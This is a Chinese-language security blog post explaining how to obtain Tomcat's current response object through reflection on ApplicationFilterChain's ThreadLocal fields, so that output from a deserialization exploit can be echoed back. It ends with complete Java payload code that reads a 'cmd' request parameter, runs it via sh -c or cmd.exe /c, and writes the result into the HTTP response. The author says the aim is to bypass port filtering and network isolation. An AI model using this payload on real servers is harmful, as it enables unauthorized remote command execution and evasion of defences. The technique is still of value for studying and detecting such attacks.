Tomcat中一种半通用回显方法

前段时间和@lufei 大哥学习了一波linux下基于文件描述符的反序列化回显方式的思路 。
在自己实现的过程中发现,是通过IP和端口号的筛选,从而过滤出当前线程(也可以说是请求)的文件描述符,进而加入回显的内容 。
但是同时也有一个疑问,我们使用回显的目前主要是因为一些端口的过滤,一些内外网的隔离 。从而将一些无法从别的途径传输的执行结果,通过http请求的方式,附加在原本的response中,从而绕过一些防护和限制 。
以个人的理解,在这种情况下,大概率会有一些负载均衡在真正的服务器前面,这样服务器中显示的ip和端口都会是LB的信息,这种筛选的方式也就失效了 。
当时的想法也是如果能直接获取到当前请求的response变量,直接write就可以了 。但是对Tomcat不是很熟悉,弄了个简易版适配Spring的就没后文了 。
最近又在社区中看到一个师傅发了这个Linux文件描述符的回显方式,评论处也提出了如果能直接获取response的效果会更好,于是就开始试着找了下如何获取tomcat的response变量 。
https://xz.aliyun.com/t/7307
寻找过程这里起的是一个spring boot,先试着往Controller里面注入一个response

Tomcat中一种半通用回显方法

文章插图
 
为了确保我们获取到的response对象确实是tomcat的response,我们顺着堆栈一直往下 。
可以发现request和response几乎就是一路传递的,并且在内存中都是同一个变量(变量toString最后的数字就是当前变量的部分哈希)
Tomcat中一种半通用回显方法

文章插图
 
这样,就没有问题,只要我们能获取到这些堆栈中,任何一个类的response实例即可 。
接下来就是找哪里的response变量可以被我们获取,比较蛋疼的是,每个函数都是通过传参的方式传递的response和request 。
那这样的话,在这过程中request和response有没有在哪里被记录过,而且为了通用性,我们只应该寻找tomcat部分的代码,和spring相关的就可以不用看了 。
而且记录的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息 。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例 。
顺着这个思路,刚好在 org.Apache.catalina.core.ApplicationFilterChain 这个类中,找到了一个符合要求的变量 。
Tomcat中一种半通用回显方法

文章插图
 
而且很巧的是,刚好在处理我们Controller逻辑之前,有记录request和response的动作 。
虽然if条件是false,但是不要紧,我们有反射 。
Tomcat中一种半通用回显方法

文章插图
 
这样,整体的思路大概就是
1、反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到if条件里面
2、初始化 lastServicedRequest 和 lastServicedResponse 两个变量,默认为null
3、从 lastServicedResponse 中获取当前请求response,并且回显内容 。
写的过程中也学习了一下怎么通过反射修改一个private final的变量,还踩了一些坑,总之直接放上最后的代码
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");Field modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);WRAP_SAME_OBJECT_FIELD.setAccessible(true);lastServicedRequestField.setAccessible(true);lastServicedResponseField.setAccessible(true);ThreadLocal<ServletResponse> lastServicedResponse =(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);String cmd = lastServicedRequest != null? lastServicedRequest.get().getParameter("cmd"): null;if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {lastServicedRequestField.set(null, new ThreadLocal<>());lastServicedResponseField.set(null, new ThreadLocal<>());WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);} else if (cmd != null) {ServletResponse responseFacade = lastServicedResponse.get();responseFacade.getWriter();JAVA.io.Writer w = responseFacade.getWriter();Field responseField = ResponseFacade.class.getDeclaredField("response");responseField.setAccessible(true);Response response = (Response) responseField.get(responseFacade);Field usingWriter = Response.class.getDeclaredField("usingWriter");usingWriter.setAccessible(true);usingWriter.set((Object) response, Boolean.FALSE);boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\a");String output = s.hasNext() ? s.next() : "";w.write(output);w.flush();}


推荐阅读